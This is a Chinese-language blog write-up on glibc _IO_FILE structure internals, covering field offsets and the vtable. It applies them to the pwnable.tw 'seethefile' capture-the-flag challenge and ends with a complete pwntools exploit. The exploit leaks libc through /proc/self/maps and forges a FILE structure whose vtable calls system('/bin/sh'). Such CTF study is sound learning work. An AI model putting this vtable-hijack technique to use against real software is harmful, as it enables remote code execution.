IO_file 总结

0x0 简介

熟悉一下IO_file,参考下列资料

https://qianfei11.github.io/2019/08/17/Pwnable-tw-seethefile/

http://blog.leanote.com/post/mut3p1g/FSP-pwnable.tw%5B9%5D

https://ray-cp.github.io/archivers/IO_FILE_fclose_analysis

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction-zh/

0x1 File 结构描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* The tag name of this struct is _IO_FILE to preserve historic
C++ mangled names for functions taking FILE* arguments.
That name should not be used in new code. */
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。

在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr。因此在初始状态下,_IO_list_all 指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于 libc.so 的数据段。而我们使用fopen创建的文件流是分配在堆内存上的。

但是事实上_IO_FILE 结构外包裹着另一种结构_IO_FILE_plus,其中包含了一个重要的指针 vtable 指向了一系列函数指针。

在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8

IO_FILE_plus

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}

vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//struct _IO_FILE
0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable

0x2 seethefile

分析程序

  • openfile:读取 长度为63 filename,打开文件,这里有溢出,因为 filename 大小为 40,但是不能覆盖到fp
  • writefile:输出文件 magicbuf,通过这个应该能泄露地址,首先要把内容写道magicbuf
  • readfile:从文件中读取内容到 0x18 长度
  • closefile: 这里会调用 fclose 函数,可以用来触发
  • xexit : 这里 name 有溢出。可以覆盖到fp,使之指向我们伪造的fp,在调用fcolse时调用system(“bin/sh”)

漏洞利用

泄露libc

在linux系统中,文件/proc/[pid]/maps中记录了pid对应程序的内存区域以及权限信息等,程序自身可以通过访问/proc/self/maps文件获取这些信息,因此我们可以利用本题文件读取的功能,获取maps文件中记录的地址信息,从而获得libc的地址。

构造file

想要拿到shell,以下是关键:

  • fp指向伪造的IO_file存在
  • IO_filevtable->_fclose 覆盖为system地址
  • 因为vtable中的函数调用时会把对应的_IO_FILE_plus指针作为第一个参数传递,因此这里我们把"sh"写入_IO_FILE_plus头部。

但是构造的时候需要注意:

  1. 偏移0x48处的lock字段指向的是一个IO_stdfile_2_lock结构,本地调试时这个结构中的数据均为\x00;因此,我们可以用\x00填充name,然后用name的地址覆盖lock字段。
  2. 同时要注意_vtable_offset要为0,其偏移为0x46且只占一个字节

从看到一位师傅的思路不错,它一开始总是报错,于是就找了一个合法的FILE结构,将里面不为空的全部复制为name对应的地址,其他的都为0,将这个结构重新尝试了一遍就能在本地成功了。

其它

__flags 记录 FILE 结构体的一些状态;
_markers 为指向 markers 结构体的指针变量,存放流的位置的单向链表;
_chain 变量为一个单向链表的指针,记录进程中创建的 FILE 结构体。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

#context.log_level = 'debug'

local = False

if local:
p = process('./seethefile')
elf = ELF('./seethefile')
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p = remote('chall.pwnable.tw', 10200)
elf = ELF('./seethefile')
libc = ELF("./libc.so.6")


def openfile(name):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('What do you want to see :')
p.sendline(name)


def readfile():
p.recvuntil('Your choice :')
p.sendline('2')


def writefile():
p.recvuntil('Your choice :')
p.sendline('3')


def closefile():
p.recvuntil('Your choice :')
p.sendline('4')


def exit_with_name(name):
p.recvuntil('Your choice :')
p.sendline('5')
p.recvuntil('Leave your name :')
p.sendline(name)

openfile('/proc/self/maps')
readfile()
readfile()
writefile()
data = p.recvuntil('r-xp')
if local:
libc_base = int(data.split('-')[0].split('\n')[1], 16)
else:
libc_base = int(data.split('-')[-3].split('\n')[1], 16)
log.success('libc_addr: ' + hex(libc_base))

buf = 0x0804B260
system = libc_base + libc.symbols['system']
payload = '/bin/sh'.ljust(0x20, '\x00')
payload += p32(buf)
payload = payload.ljust(0x48, '\x00')
payload += p32(buf + 0x10)
payload = payload.ljust(0x94, '\x00')
payload += p32(0x804b2f8 - 0x44)
payload += p32(system)
exit_with_name(payload)

p.interactive()
-------------本文结束感谢您的阅读-------------
+ +